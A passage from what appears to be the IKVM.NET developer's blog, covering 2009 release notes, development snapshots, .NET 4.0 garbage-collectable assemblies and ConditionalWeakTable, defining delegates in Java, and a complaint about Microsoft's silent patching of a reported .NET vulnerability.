IKVM 0.40 Update 1 Release Candidate 1

Another minor update.

Changes:

  • Changed version to 0.40.0.3
  • Fixed regression introduced in 0.40 that caused ikvmc -classloader:<class> option to fail if <class> wasn't public.
  • Fixed regression introduced in 0.40 that caused ikvmstub on core class libraries to fail.
  • Fixed #2829717.

Binaries available here: ikvmbin-0.40.0.3.zip.

Sources: ikvm-0.40.0.3.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped-IKVM-0.40.zip

7/31/2009 8:50:46 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [10]

Friday, July 17, 2009

Responsible Disclosure, Irresponsible Patching?

In December 2006 I reported a critical .NET security vulnerability to Microsoft. When I found the the issue it had already been fixed in Vista, but it still took them until July 2007 to release a fix for XP. Seven months, I thought that was pretty bad.

In September 2008 I reported another critical .NET security vulnerability to Microsoft. The fix for this issue was trivial and made it into the subsequent Silverlight 2.0 RTM on October 13th. This week the July patches were released and for the tenth month no security bulletin about this issue.

Wednesday I mailed the Microsoft Security Response Center to ask what the status is. I received no reply.

So I decided to investigate. I quickly discovered that my main (Vista) system was already patched (!). After some digging I found that on XP, Windows Update offers KB951847 which contains a fix.

The KB article makes no mention of any security fixes, nor is there a corresponding security bulletin.

If this is Microsoft's idea of responsible disclosure, then maybe I should also apply my "no Microsoft bug filing" policy to security issues.

7/17/2009 10:37:40 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Thursday, July 16, 2009

New Development Snapshot

It's been a while since the previous snapshot, but I haven't been sitting around idle. Besides the fixes to IKVM.Reflection.Emit, which were part of secret prototype project I've been working on (and may or may not announce at some point in the future :-)), I've also been working on IKVM.NET itself.

I did a bunch of work to improve startup (at least for "core" classes). In particular, many scenarios should now be possible without initializing the reflection machinery.

Here are some examples:

 

IKVM 0.40

IKVM 0.41.3484

 

    x86 JIT

    x86 NGEN

            x86 JIT

    x86 NGEN

    2nd invocation

obj = Float.TYPE 12.4 1.56 0.280 0.0152 0.0041
System.out.println("Hello World") 275 12.8 114 8.90 0.0569
new StringBuffer() 129 10.8 6.34 0.0866 0.0041
Charset.forName("windows-1252") 267 13.7 77.4 7.87 0.0028


Times are in milliseconds and (except for the last column) show the time it takes to execute the code snippet on the left as the very first Java code in the process. I added the "2nd invocation" column to emphasize that these large times are due to JIT and/or initialization costs. Things have clearly improved, but it should also be clear that when you care about startup time, you really need to look into using NGEN.

I should point out that currently only the "windows-1252" (and UTF-8) charsets are eagerly constructed to avoid reflection, if you care about another charset, let me know and I will add it (unless your charset isn't in IKVM.OpenJDK.Core.dll, then you're out of luck.)

Changes:

  • More AWT/Swing work..
  • Removed more GNU Classpath remnants.
  • Added rmi stub generation to build process, instead of relying on .class files in stripped zip.
  • Added "RuntimeCompatibilityAttribute(WrapNonExceptionThrows = true)" to generated assemblies.
  • Added ikvmc warnings for VerificationError and ClassFormatError.
  • Added -baseaddress:<address> option to ikvmc.
  • Fixed ikvmc to skip empty lines in response file, instead of throwing an exception.
  • Split XML assembly into eight parts. Thanks to Michael Kay for helping out with this.
  • Changed build to put x86 specific binaries in bin-x86 directory and x64 specific binaries in bin-x64. jvm.dll is now always built in both flavors. Unfortunately, ikvm-native still needs to be built separately.
  • Split core library into several more assemblies.
  • Added step to build process to automatically compute a base address for core library assemblies. This should make ngen-ed images more efficient (if the images can be loaded at their preferred base addresses).
  • Added a mechanism to the build to prevent accidentally introducing new dependencies between the OpenJDK assemblies.
  • Fixed bug that caused startup properties set with ikvm.runtime.Startup.setProperties() to be forgotten when doing a System.setProperties(null).
  • Forked java.io.ObjectStreamField to make signature computation lazy.
  • Made ikvm.runtime.Util.getInstanceTypeFromClass() into an instrinsic, when used with a class literal.
  • Optimized class literals that reference statically compiled classes (at a slight cost to dynamically compiled classes).
  • Optimized primitive class literals.
  • Added codegen optimization for reading unsigned bytes from a byte array (buf[i] & 0xFF or buf[i] 0x0FFL).
  • Made callerID initialization lazy.
  • Forked sun/nio/cs/StandardCharsets.java to eagerly create MS1252 and UTF-8 charsets, to avoid reflection (at least in Western Europe, if you want another charset added, just let me know.)
  • Several other minor optimizations.

Binary available here: ikvmbin-0.41.3484.zip

7/16/2009 10:00:05 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Friday, June 26, 2009

IKVM.Reflection.Emit Update

I have done a massive amount of fixes to IKVM.Reflection.Emit to make it full featured (even though it still doesn't implement all Reflection.Emit APIs, the functionality should (almost) all be there, for example via different overloads).

I completed support for generics (I think) and fixed many bugs in that area, ikvmc only uses a very small amount of generics so these fixes are unlikely to affect it.

It's worth explicitly stating the design goals of IKVM.Reflection.Emit:

  • It's a write-only API. Some GetXXX methods or properties may be implemented, but that's mostly for its internal convenience.
  • There is intentionally no error checking. During ikvm development the error checking in System.Reflection.Emit has cost me a huge amount of time, it is generally much easier to diagnose the problem when you have a broken assembly file. PEverify and ILDASM are your friends.
  • Code that uses System.Reflection.Emit in a write-only way is supposed to "just work" (modulo missing APIs, but those changes should be trivial).

I've done some pretty heavy duty testing on it. It should be ready for external (i.e. non-ikvmc) usage now. If you decide to use it (or consider using it), please let me know. As always, feedback is appreciated.

Changes:

  • Added support for ByRef and Pointer types.
  • Completed support for all literal field constant types and fixed null literal fields.
  • Added ModuleBuilder.DefineInitializedData().
  • Fixed many generics related bugs.
  • Added a (non-standard) API to ModuleBuilder to set the PE image base address.
  • Added TypeBuilder.SetParent().
  • Added TypeBuilder.GetMethod() and TypeBuilder.GetConstructor() to instantiate methods on generic types.
  • Added a (non-standard) API to ILGenerator to disable the "helpful" automatic leave/endfinally instructions in exception blocks.
  • Added support for pinned local variables.
  • Added UIntPtr and TypedReference signature encodings.
  • Fixed handling of TypeBuilder enums in custom attributes.
  • Added MethodBuilder.SetSignature().
  • Added GenericTypeParameterBuilder.SetInterfaceConstraints() and .SetGenericParameterAttributes().
  • Fixed (Method|Type)Builder.SetCustomAttribute() to set HasSecurity flag when SuppressUnmanagedCodeSecurityAttribute is set.
  • Added support for defining events.

Binary available here: ikvm-refemit-0.41.3464.zip

6/26/2009 6:42:52 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, June 15, 2009

IKVM 0.40 Update 1 Release Candidate 0

A minor update.

Changes:

  • Changed version to 0.40.0.2
  • Changed build to generate rmi stubs instead of depend on .class files in openjdk6-b12-stripped-IKVM-0.40.zip. Thanks to Jo Shields for helping with this.
  • Fixed verifier bugs. Thanks to Brian Heineman for reporting this.

Binaries available here: ikvmbin-0.40.0.2.zip.

Sources: ikvm-0.40.0.2.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped-IKVM-0.40.zip

6/15/2009 7:40:05 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Friday, June 05, 2009

IKVM 0.40 Released

I've released IKVM 0.40 to SourceForge. The binaries are identical to the ones in release candidate 1.

Release Notes

This document lists the known issues and incompatibilities.

Runtime

  • Code unloading (aka class GC) is not supported.
  • In Java static initializers can deadlock, on .NET some threads can see uninitialized state in cases where deadlock would occur on the JVM.
  • JNI
    • Only supported in the default AppDomain.
    • Only the JNICALL calling convention is supported! (On Windows, HotSpot appears to also support the cdecl calling convention).
    • Cannot call string contructors on already existing string instances
    • A few limitations in Invocation API support
      • The Invocation API is only supported when running on .NET.
      • JNI_CreateJavaVM: init options "-verbose[:class|:gc|:jni]", "vfprintf", "exit" and "abort" are not implemented. The JDK 1.1 version of JavaVMInitArgs isn't supported.
      • JNI_GetDefaultJavaVMInitArgs not implemented
      • JNI_GetCreatedJavaVMs only returns the JavaVM if the VM was started through JNI or a JNI call that retrieves the JavaVM has already occurred.
      • DestroyJVM is only partially implemented (it waits until there are no more non-daemon Java threads and then returns JNI_ERR).
      • DetachCurrentThread doesn't release monitors held by the thread.
    • Native libraries are never unloaded (because code unloading is not supported).
  • The JVM allows any reference type to be passed where an interface reference is expected (and to store any reference type in an interface reference type field), on IKVM this results in an IncompatibleClassChangeError.
  • monitorenter / monitorexit cannot be used on unitialized this reference.
  • Floating point is not fully spec compliant.
  • A method returning a boolean that returns an integer other than 0 or 1 behaves differently (this also applies to byte/char/short and for method parameters).
  • Synchronized blocks are not async exception safe.
  • Ghost arrays don't throw ArrayStoreException when you store an object that doesn't implement the ghost interface.
  • Class loading is more eager than on the reference VM.
  • Interface implementation methods are never really final (interface can be reimplemented by .NET subclasses).
  • JSR-133 finalization spec change is not fully implemented. The JSR-133 changes dictate that an object should not be finalized unless the Object constructor has run successfully, but this isn't implemented.

Static Compiler (ikvmc)

  • Some subtle differences with ikvmc compiled code for public members inherited from non-public base classes (so called "access stubs"). Because the access stub lives in a derived class, when accessing a member in a base class, the derived cctor will be run whereas java (and ikvm) only runs the base cctor.
  • Try blocks around base class ctor invocation result in unverifiable code (no known compilers produce this type of code).
  • Try/catch blocks before base class ctor invocation result in unverifiable code (this actually happens with the Eclipse compiler when you pass a class literal to the base class ctor and compile with -target 1.4).
  • Only code compiled in a single assembly fully obeys the JLS binary compatibility rules.
  • An assembly can only contain one resource with a particular name.
  • Passing incorrect command line options to ikvmc may result in an exception rather than a proper error messages.

Class Library

Most class library code is based on OpenJDK 6 build 12. Below is a list of divergences and IKVM specific implementation notes.

com.sun.security.auth.module        Not implemented.
java.applet GNU Classpath implementation. Not implemented.
java.awt GNU Classpath implementation with partial System.Windows.Forms based back-end. Not supported.
java.io.Console Not implemented.
java.lang.instrument Not implemented.
java.lang.management Not implemented.
java.net No IPv6 support implemented.
java.net.ProxySelector Getting the default system proxy for a URL is not implemented.
java.text.Bidi GNU Classpath implementation. Not supported.
java.util.zip Partially based on GNU Classpath implementation.
javax.imageio.plugins.jpeg Partial implementation. JPEGs can be read and written, but there is no metadata support.
javax.management Not implemented.
javax.print Not implemented.
javax.script Not implemented.
javax.smartcardio Not implemented.
javax.sound Not implemented.
javax.swing GNU Classpath implementation. Not supported.
javax.tools Not implemented.
org.ietfs.jgss Not implemented.
sun.jdbc.odbc Implementation based on .NET ODBC managed provider.
sun.net.www.content.audio Audio content handlers not implemented.
sun.net.www.content.image Image content handlers not implemented.

The entire public API is available, so "Not implemented." for javax.print, for example, means that the API is there but there is no back-end to provide the actual printing support. "Not supported." means that the code is there and probably works at least somewhat, but that I'm less likely to fix bugs reported in these areas.

Specific API notes:

  • java.lang.Thread.stop(Throwable t) doesn't support throwing arbitrary exceptions on other threads (only java.lang.ThreadDeath).
  • java.lang.Thread.holdsLock(Object o) causes a spurious notify on the object (this is allowed by the J2SE 5.0 spec).
  • java.lang.String.intern() strings are never garbage collected.
  • Weak/soft references and reference queues are inefficient and do not fully implement the required semantics.
  • java.lang.ref.SoftReference: Soft references are not guaranteed to be cleared before an OutOfMemoryError is thrown.
  • Threads started outside of Java aren't "visible" (e.g. in ThreadGroup.enumerate()) until they first call Thread.currentThread().
  • java.lang.Thread.getState() returns WAITING or TIMED_WAITING instead of BLOCKING when we're inside Object.wait() and blocking to re-acquire the monitor.
  • java.nio.channel.FileChannel.lock() shared locks are only supported on Windows NT derived operating systems.
  • java.lang.SecurityManager: Deprecated methods not implemented: classDepth(String), inClass(String), classLoaderDepth(), currentLoadedClass(), currentClassLoader(), inClassLoader()

Supported Platforms

This release has been tested on the following CLI implementations / platforms:

CLI Implementation       Architecture      Operating System
.NET 2.0 SP2 x86 Windows
.NET 2.0 SP2 x64 Windows


Partial Trust

There is experimental support for running in partial trust.
 

6/5/2009 3:32:45 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Tuesday, June 02, 2009

New Development Snapshot

Class gc support has now been checked in (but is not available in the attached binaries, because they've been built for .NET 2.0). This is somewhat of a milestone snapshot, because it is the first version that no longer requires GNU Classpath to build*. However, please note that AWT / Swing still needs a lot of work.

*What this means is that there is no longer an external dependency on GNU Classpath. There is still GNU Classpath derived code in ikvm's source tree. For example, small parts of AWT and the pure Java  implementation of java.util.zip.

Changes:

  • Removed dependency on classpath-0.95-stripped.zip. All AWT / Swing code is now from OpenJDK or in the ikvm codebase.
  • Defined NET_4_0 when building on .NET 4.0 to enable conditional code.
  • Changed IKVM.Reflection.Emit's ModuleBuilder and AssemblyBuilder to extends Module and Assembly respectively when building on .NET 4.0.
  • Added .NET 4.0 fix to IKVM.Reflection.Emit (for the fact that Type now defines == operator).
  • Fixed locking for image based Graphics.
  • Various changes to remove warnings when building on .NET 4.0.
  • Several fixes related to dynamic assemblies.
  • Several improvements to better work in partial trust.
  • More AWT work.
  • Made java.lang.reflect.Field exception messages the same as JDK 6.
  • Implemented class gc (for .NET 4.0 builds).
  • Added -Xnoclassgc option to ikvm (only meaningful in a .NET 4.0 build).

Binaries available here: ikvmbin-0.41.3440.zip.

6/2/2009 10:49:01 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Friday, May 29, 2009

.NET 4.0 -- System.Runtime.CompilerServices.ConditionalWeakTable

Back in the PDC build of .NET 4.0 another interesting new feature was introduced: ConditionalWeakTable<TKey, TValue>. This is a special purpose dictionary to associate objects with other objects. It was introduced to help the DLR, which needs the ability to add properties to arbitrary objects. The documentation is pretty clear and the CLR team blog also has some info on it, so I won't rehash that. Instead I'll just mention that ConditionalWeakTable itself is not a magic type (i.e. the runtime knows nothing about it), but instead it is built on top of a private value type System.Runtime.Compiler.Services.DependentHandle. DependentHandle is essentially a handle based ephemeron implementation.

JVM vs CLR

This means that the CLR now comes a bit closer to the JVM in terms of memory management features. The JVM has had some very interesting reference types for a long time (WeakReference, SoftReference and PhantomReference) and the ability to have these references posted to a ReferenceQueue by the GC when the relevant change in reachability to the referenced object occurs.

Unfortunately there still isn't parity between the CLR and JVM, even though the CLR now provides a capability the JVM doesn't.

Java .NET Notes
ReferenceQueue n/a  
WeakReference WeakReference (short) .NET has no ReferenceQueue equivalent notification mechanism.
n/a WeakReference (long)    
SoftReference n/a  
PhantomReference     n/a  
WeakHashMap n/a  
n/a ConditionalWeakTable  

(If you think that Java's WeakHashMap and .NET's ConditionalWeakTable are similar, consider that ConditionalWeakTable is ephemeron based. Plus the fact that WeakHashMap uses short weak references and ConditionalWeakTable uses long weak references.)

IKVM.NET

ConditionalWeakTable is very useful for IKVM in several places:

  • Used to support class unloading by mapping Assembly to ClassLoader.
  • Used in caching of MethodBase properties.
  • Can be used to track the type of ghost arrays.
  • Can be used to more efficiently implement adding references to a ReferenceQueue.

Java

Given the effort going into Java 7 to improve support for dynamic languages it would not be surprising nor unwelcome to see ephemerons being added to the JVM.

5/29/2009 8:08:54 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Wednesday, May 27, 2009

Class Unloading

I never thought I'd see the day, but it has arrived:

using System;
using java.net;

class ClassGC
{
  static void Main(string[] args)
  {
    URLClassLoader loader = new URLClassLoader(new URL[] { new URL("file:/c:/j/") });
    WeakReference weak = new WeakReference(loader);
    object obj = loader.loadClass("test").newInstance();
    Console.WriteLine(obj);;
    GC.Collect();
    Console.WriteLine(weak.Target);
    //GC.KeepAlive(obj);
  }
}

Running this on .NET 4.0 (with references to a version of IKVM 0.41 in which I've prototyped support for class gc):
(Don't forget to run in Release mode, otherwise the JIT will extend the lifetime of the local variables to the end of the method.)

Uncomment the GC.KeepAlive(obj) line to show that the object instance really does keep alive the class loader (and all associated IKVM and .NET infrastructure):

Source + binaries (remember this is prototype level code): ikvm-classgc-prototype.zip

5/27/2009 7:31:59 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Monday, May 25, 2009

Development Snapshot

.NET 4.0

I wasn't sure whether to release a snapshot or not, because things are still very much in flux, but I decided that the ability to build on .NET 4.0 was a big enough feature to at least warrant a development snapshot (albeit a source snapshot this time).

I had to make a number of changes to be able to build on .NET 4.0:

  • System.Type now overloads the == operator, so TypeBase.Equals had to be modified to use ReferenceEquals to avoid infinite recursion.
  • Apply the SecurityRules(Level1) attribute to IKVM.Runtime.dll to opt out of the new security model. This is needed because IKVM.Runtime.dll has the AllowPartiallyTrustedCallers and SecurityCritical attributes.
  • Modify ikvmc and the runtime to apply the SecurityRules(Level1) attribute to all generated assemblies to opt out of the new security model to work around a (likely) bug in .NET 4.0. Special thanks to Shawn Farkas for helping with this.
  • Modify JNI code to move RuntimeMethodHandle from unmanaged to managed data.
  • Changed IKVM.Reflection.Emit to write current runtime version into module header instead of a hardcoded "v2.0.50727".

Visual Studio 2010

Building with Visual Studio was never supported and it still isn't. You need to build with NAnt ("nant clean && nant"). You can use Visual Studio 2010 to edit the source and do test compiles (after first building with NAnt to make sure the required files are all there). If you want to use nant to build on .NET 4.0 you'll have to modify NAnt.exe.config to add the net-4.0 target framework and add a <supportedRuntime ... /> line to the <startup> section.

Changes

  • Many AWT / Swing related changes as Volker continues to merge in OpenJDK code.
  • Fixed java.io.File.list() to not throw a System.NotSupportedException for certain invalid paths.
  • Added workaround for .NET C# compiler bug that prevents it from subclassing a Java class that implements a protected abstract method using a public method. This workaround is required to build IKVM.AWT.WinForms.dll, but the Mono C# compiler has a related bug that I have not been able to work around. Filed Mono Bug #506757.
  • Added support for java.io.File.list() to VFS.
  • Added support for declarative security attributes on assemblies and types.
  • Added some sun.misc.Unsafe methods that appear to be used by JRuby.
  • Various fixes for .NET 4.0 beta 1.
  • Removed code that supports .NET 2.0 RTM (SP1 is now required).

The source-only snapshot is availabe here: ikvmsrc-0.41.3432.zip.

5/25/2009 7:10:29 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, May 22, 2009

.NET 4.0 -- AssemblyBuilderAccess.RunAndCollect

This week .NET 4.0 beta 1 was released. I've been playing around with it a little bit and was very excited to find a new Reflection.Emit feature. If you're a reflection nut like me, the title of this blog entry probably already gave it away. Dynamic assemblies can now be garbage collected!

A Little Demo

Running this simple example will show that a System.Type instance is created and then garbage collected.

using System;
using System.Reflection;
using System.Reflection.Emit;

class RunAndCollectDemo
{
  static void Main()
  {
    Type type = CreateType();
    object obj = Activator.CreateInstance(type);
    Console.WriteLine(obj);
    WeakReference weak = new WeakReference(type);
    type = null;
    obj = null;
    Console.WriteLine("type = " + weak.Target);
    GC.Collect();
    Console.WriteLine("type = " + weak.Target);
  }

  static Type CreateType()
  {
    AssemblyBuilder ab =
      AppDomain.CurrentDomain.DefineDynamicAssembly(
        new AssemblyName("foo"),
        AssemblyBuilderAccess.RunAndCollect);
    ModuleBuilder modb = ab.DefineDynamicModule("foo.dll");
    TypeBuilder tb = modb.DefineType("Foo");
    return tb.CreateType();
  }
}

As you can imagine, this required some pretty deep runtime changes. One of them is that RuntimeMethodHandle is no longer a handle. Previously it contained an unmanaged pointer to the native CLR datastructure corresponding to the method, but now it contains a managed interface reference, because the corresponding method can be garbage collected (I haven't looked into it, but I assume that the interface reference points either to a RuntimeMethodInfo or in the case of a method in a RunAndCollect assembly a proxy that contains a weak reference to the RuntimeMethodInfo. UPDATE: A RuntimeMethodHandle represents a strong reference.)

Somewhat ironically, this change breaks the compilation of ikvm's JniInterface.cs, because it stuffs a RuntimeMethodHandle in unmanaged memory. The fix is fairly straightforward (using a GCHandle to point to the MethodBase instead), but it does reveal an interesting property of C#, if you use unsafe code the (normally hidden) implementation details of managed value types can cause your code to break (and not because you explicitly depend on any internals).

What Does This Mean for IKVM.NET?

It would be really awesome if this feature could be used to finally make ClassLoaders garbage collectable, but unfortunately for that to happen this ancient bug first has to be fixed.

5/22/2009 7:26:20 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Wednesday, April 22, 2009

IKVM 0.40 Release Candidate 1

Thanks to Nat Luengnaruemitchai the MDB symbol writer has been fixed and finished and a couple of bugs were fixed.

Changes:

  • Changed version to 0.40.0.1.
  • Updated copyright notices in OpenJDK assemblies.
  • Fixed bug in workaround for #486307 that could cause "duplicate MemberRef" warnings when running PEVerify on an ikvmc generated assembly.
  • Fixed bug #2777128.
  • Fixed bug #2777171.

Binaries available here: ikvmbin-0.40.0.1.zip

Sources: ikvm-0.40.0.1.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped-IKVM-0.40.zip

4/22/2009 7:03:48 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Tuesday, April 21, 2009

New Development Snapshot

A couple of fixes and some more OpenJDK AWT/Swing merges.

Changes:

  • Fixed build regression introduced in previous snapshot caused by different build directory structure in OpenJDK 6 b16.
  • Handle Graphics2D.setPaint(null) correctly.
  • Integrated OpenJDK java/awt/image and java/awt/image/renderable packages.
  • Fixed duplicate MemberRefs generated by IKVM.Reflection.Emit caused by Mono workaround generic types not being canonicalized.
  • Integrated OpenJDK sun/swing and sun/awt packages.

Binaries available here: ikvmbin-0.41.3398.zip

4/21/2009 8:03:55 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Thursday, April 16, 2009

New Development Snapshot

Even though 0.40 is still baking, I'm already working on the next version.

Changes:

  • Integrated OpenJDK 6 b16.
  • Changed decoded bytecode stream to use indexes in branches instead of PC offsets.
  • Fixed .MDB debug symbol generation (thanks to Nat Luengnaruemitchai).
  • Several AWT fixes contributed by Judit Vasko-Szedlar (Chemaxon).
  • Moved jsr/ret bytecode processing into a seperate (inlining) pass to reduce complexity in the verifier and compiler.
  • Fixed a bug in the compiler that caused exception handler to be dropped after an unreachable exception block was encountered.
  • Updated copyright notices.

Binaries available here: ikvmbin-0.41.3393.zip

OpenJDK 6 b16 sources + build artifacts: openjdk6-b16-stripped.zip

4/16/2009 12:26:38 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, April 06, 2009

IKVM 0.40 Release Candidate 0

The eagerly anticipated (by some) first release candidate of 0.40 is ready!

Changes since previous snapshot:

  • Changed version to 0.40.0.0.
  • Added back RMI stubs that got left out in the module split.
  • Added cmm profiles and dummy color management implementation.
  • Fixed regression in ObjectInputStream.latestUserDefinedLoader().

Binaries available here: ikvmbin-0.40.0.0.zip

Sources: ikvm-0.40.0.0.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped-IKVM-0.40.zip

4/6/2009 11:05:34 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Friday, March 27, 2009

New Development Snapshot -- Help Needed

As 0.40 is getting nearer, I need some help. This snapshot is pretty close to what the first 0.40 release candidate is going to be. However, there is still something missing. As part of this release cycle I wrote a custom implementation of Reflection.Emit named IKVM.Reflection.Emit. This is the part that is responsible for writing managed PE binaries used by ikvmc. It is also responsible for writing the debugging files (.pdb on .NET and .mdb on Mono). I've written a working .pdb writer, but only a basic (and untested) implementation of the .mdb writer and this where I need help. I need someone to test, debug, finish this. So if you care about being able to debug your Java code in MonoDevelop, please help out! To get an idea of what's involved here is the current source.

Changes:

  • Workaround for Mono bug 486307.
  • Added "Windows 7" detection for os.name system property.
  • Improved IKVM.Reflection.Emit symbol writer "plug in" interface.
  • Wrote a basic (untested) symbol writer for Mono.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3373.zip
 

3/27/2009 6:25:54 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, March 17, 2009

New Development Snapshot

One major change: I rewrote exception handling to store exception state in java.lang.Throwable (for non-.NET exceptions) instead of using a weak map. I never got around to doing that earlier, because the overhead of exceptions on the CLR is such that the weak map didn't contribute significantly, but on Mono the situation was very different, as it turns out the weap map was very slow there and exception handling is much faster. Anyway, the result is that on Mono a particular microbenchmark went from 40 seconds to less than a second. On the CLR the performance is also a little bit better, but still horrible.

If you use exceptions for control flow, make sure to override fillInStackTrace (simply "return this") as this saves a lot of time in collecting the stack trace. On previous versions of IKVM this sometimes didn't help, but now it always does.

Changes:

  • Rewrote exception handling.
  • Moved PDB generating code (used by IKVM.Reflection.Emit.dll) into a separate assembly (IKVM.PdbWriter.dll) to work around missing ISymWrapper.dll on Mono.
  • Made java.lang.Object and java.lang.StackTraceElement serializable (in the .NET sense).
  • Added workaround for Mono bug (Type.IsGenericTypeDefinition throws for non-MonoType types).
  • Fixed ikvm.extensions.ExtensionMethods.printStackTrace() to unmap the exception after printing the stack trace.
  • Volker implemented a couple more AWT graphics functions.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3363.zip
 

3/17/2009 7:10:27 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Thursday, March 12, 2009

New Development Snapshot

Various fixes and improvements.

Changes:

  • Made Mono compilation workarounds conditional on __MonoCS__.
  • Fixed Class.desiredAssertionStatus() instrinsic to use the RemoveAsserts flag from the right class loader.
  • Fixed several generics related bugs in IKVM.Reflection.Emit.
  • Implemented ikvm.internal.ClassLiteral<T> to allow for more efficient class literals.
  • Switched java.awt.print package from GNU Classpath to OpenJDK.
  • Switched java.awt.geom package from GNU Classpath to OpenJDK.
  • Switched java.awt.color package from GNU Classpath to OpenJDK.
  • Switched java.awt.event package from GNU Classpath to OpenJDK.
  • Switched java.awt.datatransfer package from GNU Classpath to OpenJDK.
  • Switched java.awt.dnd package from GNU Classpath to OpenJDK.
  • Added hack to skip running the static initializer when computing the serialVersionUID while running ikvmstub.
  • Added support for defining delegates in Java.
  • Fixed regression introduced in 0.38 that caused LinkageError to be thrown instead of ClassCircularyError.
  • Updated mscorlib.jar (to get the new default constructor in MulticastDelegate).
  • Added utility class ikvm.runtime.Delegates to make it easier to create Runnables and PrivilegeActions from .NET languages.
  • Fixed JNI constructor invocation on dynamically loaded class.
  • Added hack to java.io.FileDescriptor to support JRuby's tty detection.
  • Implemented java.lang.ClassLoader$NativeLibrary.finalize(). Note that under normal circumstances this is never called, because IKVM doesn't support class unloading and by default finalization doesn't run on exit.
  • Fixed IKVM.Reflection.Emit bug that caused NullReferenceException in Save when using the ikvmc -target:module option.

The last IKVM.Reflection.Emit fix isn't in cvs yet, because SourceForge cvs is down.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3358.zip

3/12/2009 6:41:37 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Wednesday, March 11, 2009

Defining Delegates in Java

I finally implemented support for defining delegates in Java. The functionality will be available in the next snapshot.

Here's how to do it:

import cli.System.AsyncCallback;
import cli.System.IAsyncResult;
import cli.System.MulticastDelegate;

public final class RunnableDelegate extends MulticastDelegate
{
    public RunnableDelegate(Method m) { }
    public native void Invoke();
    public native IAsyncResult BeginInvoke(AsyncCallback callback, Object obj);
    public native void EndInvoke(IAsyncResult res);
    public interface Method
    {
        void Invoke();
    }
}

This is the recommended pattern. There is a little flexibility, but there are a number of strict rules, if you violate any of these rules, the class will fail to load (or compile with ikvmc) with a java.lang.VerifyError.

Delegate rules:

  • Class must extend cli.System.MulticastDelegate.
  • Class must be final.
  • Class must have a single method named Invoke that is public, native, non-final and non-static.
  • Class must have a single public constructor taking an inner interface named Method and have an empty method body (actually it must call the base class default constructor using the canonical bytecode sequence).
  • Class may have BeginInvoke/EndInvoke methods, but if it has either one it must have both. The BeginInvoke and EndInvoke methods must have a singature that is implied by the signature of Invoke.
  • Class must have a public inner interface named Method with a single method named Invoke with a signature identical to the Invoke method in the class.
  • Class may not have any fields.
  • Class may not have any other native methods.
  • Class must be static if it is an inner class. (This isn't a real rule, it follows from the other rules.)

The delegate is usable from Java like other .NET delegates, but obviously it doesn't add much value there. The real value comes from being able to better interact with other .NET languages. For example, one cool trick is this:

public final class RunnableDelegate
  
 extends MulticastDelegate
    implements Runnable
{
    public RunnableDelegate(Method m) { }
    public native void Invoke();
    public interface Method
    {
        void Invoke();
    }
    public void run()
    {
        Invoke();
    }
}

Now you have a delegate that also implements java.lang.Runnable. Unfortunately, C# doesn't understand that delegates can implement interfaces, so we need a helper method:

package ikvm.runtime;

public final class Delegates
{
    public static Runnable toRunnable(RunnableDelegate delegate)
    {
        return delegate;
    }
}

Now you can do this in C#:

java.lang.Thread thread = new java.lang.Thread(
    ikvm.runtime.Delegates.toRunnable(delegate {
        Console.WriteLine("Hello World");
    }));
thread.start();

I've currently defined delegates for java.lang.Runnable and java.security.PrivilegedAction as inner classes of ikvm.runtime.Delegates. There are some other candidate interfaces in IKVM.OpenJDK.Core.dll, but I'll only add them if there is demand, so let me know.

3/11/2009 6:44:02 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, March 10, 2009

100% Pure Java

In the past weekend I tried running JRuby 1.2.0RC2's interactive command line jirb on IKVM.NET. It somehow reminded me of an experience I had a little over a decade ago getting an application certified for as 100% Pure Java.

At the time I didn't really see the point of the 100% Pure Java certification, but Sun convinced us (mostly by offering to pay the certification costs), so we went ahead and eventually got certified. As far as I remember we didn't have any major issues, mostly some hardcoded paths that included backslashes and some dependencies on a case insenstive file system (to make it easier to find these issues without having to buy Solaris, I actually patched the C runtime that came with the Windows JDK to make all file access case sensitive). The other problem was that in those days Swing was exceptionally unstable on Solaris, but they eventually conceded that this wasn't our fault ;-)

JRuby

As some may remember, I have been running JRuby tests for a while. This is an older version of JRuby (I don't even know which version) and not used interactively. In any case, running the most recent JRuby revealed a number of issues:

  1. IKVM.NET bug in JNI that caused constructing an object of a dynamically loaded class via JNI to fail.
  2. IKVM.NET regression introduced a couple of days ago.
  3. An infinite recursion bug in the CLR x64 JIT.
  4. JRuby Issue.
  5. JNA Issue (JNA is a library used by JRuby that provides P/Invoke like functionality).

JRuby Issue

The first issue was that when I started jirb, it would not come up with the irb(main):001:0> prompt but simply read lines, echo them back and execute them. After debugging this I found that JRuby uses reflection to access the private handle field in java.io.FileDescriptor (when on Windows). IKVM's FileDescriptor didn't have a handle field, because it uses .NET's System.IO.Stream instead of the native Win32 API.

I solved this by adding a handle property to FileDescriptor (not the actual code):

@ikvm.lang.Property(get = "get_handle")
private long handle;

private long get_handle() {
  if (stream instanceof cli.System.IO.FileStream) {
